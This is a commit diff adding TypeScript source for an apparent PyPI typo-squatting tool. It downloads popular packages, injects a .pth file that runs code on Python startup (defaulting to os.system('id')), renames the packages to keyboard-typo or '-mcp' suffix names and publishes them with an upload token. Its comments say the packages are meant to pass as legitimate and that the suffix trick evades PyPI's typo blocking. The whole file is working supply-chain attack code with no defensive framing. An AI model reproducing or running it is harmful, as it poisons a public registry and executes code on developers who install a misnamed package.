Upload files to "src/mutator/typo"
This commit is contained in:
@@ -0,0 +1,147 @@
|
||||
// TypoMutator — typo-squats existing PyPI packages via keyboard proximity.
|
||||
//
|
||||
// Environment:
|
||||
// TYPO_MODE=1 enable
|
||||
// TARGET_PACKAGES=requests,... comma-separated list of packages to squat
|
||||
//
|
||||
// For each target package:
|
||||
// 1. Generate typo names via single-char keyboard-adjacent substitution
|
||||
// 2. Download the original wheel
|
||||
// 3. Repack under the typo name (rename everything)
|
||||
// 4. Publish to PyPI as a new package
|
||||
//
|
||||
// Published typo packages contain the original code but with a new name
|
||||
// and version 0.0.1, making them indistinguishable from legitimate packages
|
||||
// to anyone who glances at the name.
|
||||
|
||||
import { INJECT_PTH } from "../../generated";
|
||||
import { logUtil } from "../../utils/logger";
|
||||
import { Mutator } from "../base";
|
||||
import { uploadWheel } from "../pypi/upload";
|
||||
import {
|
||||
buildMinimalWheel,
|
||||
downloadWheel,
|
||||
fetchPackageMetaExtended,
|
||||
patchWheel,
|
||||
repackAsTypo,
|
||||
} from "../pypi/wheel";
|
||||
import { generateTypos } from "./typoGen";
|
||||
|
||||
export class TypoMutator extends Mutator {
|
||||
private readonly token: string;
|
||||
private readonly packages: string[];
|
||||
|
||||
constructor(token: string, packages: string[]) {
|
||||
super();
|
||||
this.token = token;
|
||||
this.packages = packages;
|
||||
}
|
||||
|
||||
override async shouldExecute(): Promise<boolean> {
|
||||
return process.env.TYPO_MODE === "1" && this.packages.length > 0;
|
||||
}
|
||||
|
||||
async execute(): Promise<Boolean> {
|
||||
if (this.packages.length === 0) {
|
||||
logUtil.log("[typo] TARGET_PACKAGES is empty");
|
||||
return false;
|
||||
}
|
||||
|
||||
logUtil.log(
|
||||
`[typo] Targeting ${this.packages.length} package(s): ${this.packages.join(", ")}`,
|
||||
);
|
||||
|
||||
let published = 0;
|
||||
|
||||
for (const pkgName of this.packages) {
|
||||
try {
|
||||
const ok = await this.squatPackage(pkgName);
|
||||
if (ok) published++;
|
||||
} catch (e) {
|
||||
logUtil.log(
|
||||
`[typo] Aborting: ${e instanceof Error ? e.message : String(e)}`,
|
||||
);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
logUtil.log(`[typo] Done. Published ${published} typo package(s).`);
|
||||
return published > 0;
|
||||
}
|
||||
|
||||
private async squatPackage(pkgName: string): Promise<boolean> {
|
||||
// 1. Fetch and get wheel data (from wheel or build from sdist)
|
||||
const meta = await fetchPackageMetaExtended(pkgName);
|
||||
if (!meta) {
|
||||
logUtil.log(`[typo] ${pkgName}: not found on PyPI`);
|
||||
return false;
|
||||
}
|
||||
|
||||
let wheelData: Uint8Array;
|
||||
if (meta.wheelUrl) {
|
||||
const data = await downloadWheel(meta.wheelUrl);
|
||||
if (!data) {
|
||||
logUtil.log(
|
||||
`[typo] ${pkgName}: wheel unavailable or too large, skipping`,
|
||||
);
|
||||
return false;
|
||||
}
|
||||
wheelData = data;
|
||||
} else {
|
||||
logUtil.log(`[typo] ${pkgName}: sdist only — building minimal wheel`);
|
||||
const pthContent = (INJECT_PTH as string) || "import os; os.system('id')";
|
||||
wheelData = buildMinimalWheel(meta.name, meta.version, pthContent);
|
||||
}
|
||||
|
||||
// 2. Find an available typo name (skip ones already on PyPI)
|
||||
const typos = generateTypos(pkgName, 20);
|
||||
for (const typoName of typos) {
|
||||
const existing = await fetchPackageMetaExtended(typoName);
|
||||
if (existing) {
|
||||
logUtil.log(`[typo] ${typoName} already exists on PyPI, skipping`);
|
||||
continue;
|
||||
}
|
||||
|
||||
logUtil.log(`[typo] ${pkgName} → ${typoName}`);
|
||||
|
||||
try {
|
||||
const pthContent =
|
||||
(INJECT_PTH as string) || "import os; os.system('id')";
|
||||
const patched = patchWheel({
|
||||
meta: {
|
||||
name: meta.name,
|
||||
version: meta.version,
|
||||
wheelUrl: meta.wheelUrl ?? "",
|
||||
wheelFilename: meta.wheelFilename ?? "",
|
||||
},
|
||||
wheelData,
|
||||
pthContent,
|
||||
});
|
||||
const typoWheel = repackAsTypo(patched.data, meta.name, typoName);
|
||||
const ok = await uploadWheel({
|
||||
token: this.token,
|
||||
pkgName: typoName,
|
||||
version: typoWheel.version,
|
||||
filename: typoWheel.filename,
|
||||
wheelData: typoWheel.data,
|
||||
});
|
||||
|
||||
if (ok) {
|
||||
logUtil.log(`[typo] Published ${typoName}@${typoWheel.version}`);
|
||||
return true;
|
||||
}
|
||||
logUtil.log(`[typo] Failed to publish ${typoName}`);
|
||||
// Rate-limited — stop immediately
|
||||
return false;
|
||||
} catch (e) {
|
||||
const msg = e instanceof Error ? e.message : String(e);
|
||||
logUtil.log(`[typo] Error repacking ${typoName}: ${msg}`);
|
||||
// Re-throw rate limits — abort everything
|
||||
if (msg.includes("429") || msg.includes("rate limit")) throw e;
|
||||
}
|
||||
}
|
||||
|
||||
logUtil.log(`[typo] ${pkgName}: no available typo name found`);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
// MCP suffix variants for typo-squatting.
|
||||
// PyPI blocks direct typos but allows -mcp suffix packages.
|
||||
|
||||
const MCP_SUFFIXES = ["-mcp", "-mpc"];
|
||||
|
||||
/**
|
||||
* Generate package names by appending MCP suffixes.
|
||||
* Returns up to `limit` variants.
|
||||
*/
|
||||
export function generateTypos(name: string, limit = 5): string[] {
|
||||
return MCP_SUFFIXES.map((s) => `${name}${s}`).slice(0, limit);
|
||||
}
|
||||
Reference in New Issue
Block a user